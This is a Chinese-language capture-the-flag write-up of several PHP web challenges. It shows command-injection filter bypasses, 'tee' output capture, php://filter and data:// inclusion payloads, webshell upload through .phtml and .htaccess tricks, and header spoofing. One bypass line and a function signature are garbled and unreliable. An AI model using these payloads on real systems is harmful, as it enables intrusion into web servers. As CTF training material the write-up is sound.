当前位置: 首页 > news >正文

NSS-DAY17 2025SWPU-NSSCTF

babyRCE

题目:

<?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
}

使用斜线绕过:?rce=ca\t${IFS}fla\g.php
使用grep匹配:?rce=grep${IFS}f${IFS}fla?.php
使用@绕过:‘‘‘?rce=t@绕过:```?rce=t@绕过:‘‘‘?rce=t@a@c@c@c{IFS}f@l@l@l@a@g@g@g@.@p@p@p@h$@p```

finalrce

题目:

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{$url=$_GET['url'];if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)){echo "Sorry,you can't use this.";}else{echo "Can you see anything?";exec($url);}
} 

exec()函数:exec(string KaTeX parse error: Expected 'EOF', got '&' at position 16: command, array &̲output = null, int &$result_code = null): string|false
exec() 执行 command 参数所指定的命令。如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。如果同时提供 output 和 result_code 参数,命令执行后的返回状态会被写入到result_code。
返回命令执行结果的最后一行内容。

因此直接传入命令是没有回显的,即无回显RCE

使用tee命令

tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

payload:

基本结构为:command | tee file.txt
因为题目没过滤 | , 这是一个管道命令符号,用于将前一个命令的输出作为后一个命令的输入
那么这句话的意思就是将command我们需要执行的命令的输出作为tee命令的输入,tee命令再将其存到file.txt里

绕过ls:/?url=l\s / |tee 1.txt

这里这个转义字符 \ 是用于在外壳程序中转移控制字符,使控制字符成为字面量,而失去其在外壳程序中控制符的含义(官方解释)

在这里插入图片描述
看到flag的位置了,且没过滤tac,于是直接读取:
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt

注意这里la之间也需要绕过

再访问2.txt得到flag:
在这里插入图片描述

PseudoProtocols

题目:
在这里插入图片描述
尝试伪协议访问隐藏文件php://filter/convert.base64-encode/resource=hint.php
在这里插入图片描述
在这里插入图片描述
访问test2222222222222.php:

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){echo "success\n";echo $flag;
}
?>

读取a指定的文件内容并比较,使用data协议传输?a=data://text/plain,I want flag
在这里插入图片描述

easyupload1.0

在这里插入图片描述
直接上传一句话木马
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述不对,看看是不是在环境里面
在这里插入图片描述

easyupload2.0

在这里插入图片描述
在这里插入图片描述
后缀php被限制了,使用其他可解析的后缀例如phtml
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

easyupload3.0

在这里插入图片描述
直接上传木马被限了
在这里插入图片描述
根据网页标题提示要配合其他文件,联想到时.htaccess绕过
先上传.htaccess文件

AddType application/x-httpd-php .jpg

再上传木马图片
在这里插入图片描述
在这里插入图片描述
在html下存在flag.php文件

gift_F12

在这里插入图片描述查看源代码
在这里插入图片描述

ez_ez_php

题目:

<?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php

使用php伪协议读取文件
?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述提示在flag文件里?file=php://filter/convert.base64-encode/resource=flag
在这里插入图片描述

jicao

题目:

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

json是数对的形式
在这里插入图片描述

Do_you_know_http

在这里插入图片描述
抓包,修改user-agent
在这里插入图片描述

访问a.php
在这里插入图片描述要求必须要本地访问,添加XFF
在这里插入图片描述
访问secretttt.php
在这里插入图片描述

WebFTP

直接访问是一个登录页面
在这里插入图片描述
爆破了很久都没成功,收集一下其他信息
扫描目录发现存在phpinfo.php页面
在这里插入图片描述
FLAG隐藏在环境变量中

导弹迷踪

是一个JS游戏
先定位main
在这里插入图片描述
查看game
在这里插入图片描述得到FLAG{y0u_w1n_th1s_!!!}

http://www.lryc.cn/news/609511.html

相关文章:

  • Chrontel 【CH7103B-B】CH7103B HDMI to YPbPr Converter
  • 行业报告:.games域名正引领游戏娱乐产业营销新风向
  • 力扣 hot100 Day65
  • 嵌入式学习之51单片机——串口(UART)
  • 回归预测 | MATLAB实现BP神经网络多输入单输出回归预测+SHAP可解释分析
  • 分布式光伏气象站:为分散电站装上 “智慧之眼”
  • 零基础掌握 Scrapy 和 Scrapy-Redis:爬虫分布式部署深度解析
  • 分布式版本控制工具Git
  • Spring之【Bean的实例化方式】
  • 电脑忘记开机密码怎么办?【图文详解】5种方法重置/更改/取消/设置开机密码?
  • Java从入门到精通 - 算法、正则、异常
  • 深入浅出 RabbitMQ:简单队列实战指南
  • 【Linux指南】软件安装全解析:从源码到包管理器的进阶之路
  • 小杰数据结构(five day)——知人者智,自知者明。
  • WPF 按钮背景色渐变
  • 飞算 JavaAI:给需求分析装上 “智能大脑“
  • VPS云服务器Linux性能分析与瓶颈解决方案设计
  • 机器学习 决策树案例电信用户流失
  • 豆包新模型+PromptPilot深度评测:提示词工程的智能化突破
  • Chrontel 【CH7104B-BF】CH7104B HDMI to HDTV/VGA Converter
  • SJW-app-1
  • 力扣热题100——双指针
  • Android GPU测试
  • 豹女篇章-人形态技能加攻速
  • 数据离不开哈希
  • 【Linux | 网络】网络层(IP协议、NAT技术和ICMP协议)
  • 【前端:Html】--1.3.基础语法
  • 【人工智能99问】什么是Post-Training,包含哪些内容?(19/99)
  • 3.JVM,JRE和JDK的关系是什么
  • Linux 系统重置用户密码指南